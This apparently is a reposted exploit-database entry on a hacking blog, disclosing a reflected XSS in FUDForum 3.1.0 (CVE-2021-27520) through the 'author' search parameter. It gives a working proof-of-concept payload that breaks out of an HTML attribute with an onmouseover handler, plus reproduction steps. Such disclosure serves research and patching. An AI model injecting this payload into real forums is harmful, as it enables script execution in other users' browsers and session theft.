Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863538463

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: FUDForum 3.1.0 - 'author' Reflected XSS
# Exploit Author: Piyush Patil
# Vendor Homepage: http://fudforum.org/
# Software Link: https://sourceforge.net/projects/fudforum/files/FUDforum_3.1.0.zip/download
# Version: FUDForum 3.1.0
# Tested on: Windows 10 and Kali
# CVE : CVE-2021-27520

-Description:
A cross-site scripting (XSS) issue in FUDForum 3.1.0 allows remote attackers to inject JavaScript via index.php in the "author" parameter.


-Payload used:
y" onmouseover=alert(2) y="

-Steps to reproduce:
1- goto https://localhost/fudforum/index.php?t=search&
2- In the "Filter by User" search option, paste XSS payload
3- Hover your mouse to "y" and XSS will get triggered